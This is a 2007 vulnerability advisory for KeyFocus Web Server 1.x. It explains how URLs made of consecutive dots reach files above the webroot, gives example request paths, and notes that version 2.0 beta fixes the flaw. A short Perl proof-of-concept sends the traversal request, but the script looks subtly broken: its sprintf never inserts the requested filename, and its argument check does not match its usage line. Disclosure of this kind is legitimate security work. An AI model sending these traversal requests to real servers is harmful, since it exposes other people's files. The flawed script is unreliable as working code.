KeyFocus KF Web Server File Disclosure Vulnerability

2007.11.01
Credit: mattmurphy
Risk: High
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

KeyFocus Web server is a Win32 HTTP server with web administration, a variety of logging formats, such as NCSA and W3C, CGI, compression, memory caching of static documents, directory indexing, pre-defined MIME settings, internal authentication with support for multiple realms, and a variety of URL checks that make it more secure against hacking attempts such as buffer overruns. KFWS 1.x contains a flaw that enables attackers to traverse above the webroot in the directory structure. This is not a traditional directory traversal attack. KFWS does not properly handle consecutive dot characters in the file name: http://kfws/. - Current Directory http://kfws/.. - 403 Forbidden http://kfws/... - KFWS install dir (OOPS!) http://kfws/.... - Program Files http://kfws/..... - This vulnerability is limited by the internal hack defenses of the server -- only files with recognized MIME types can be retreived. This significantly limits the damage from this vulnerability. KFWS v2.0.0 (Beta) eliminates this vulnerability, and the next stable version will eliminate the flaw as well. Administrators who are concerned about this flaw should upgrade to the beta. I've included a Perl script to demonstrate this vulnerability: #!/usr/bin/perl use URI::Escape; use IO::Socket; if (@ARGV < 2) { print STDOUT "Usage: perl $0 [filename] [host] [port]"; } else { $f = IO::Socket::INET->new(PeerAddr=>$ARGV[1],PeerPort=>$ARGV[2],Proto=>"tcp" ); $url = uri_escape($ARGV[0]); $exploit = sprintf("GET /.............../%s HTTP/1.0\r\n\r\n"); print $f $exploit; undef $f; } -------------------------------------------------------------------- mail2web - Check your email from the web at http://mail2web.com/ .


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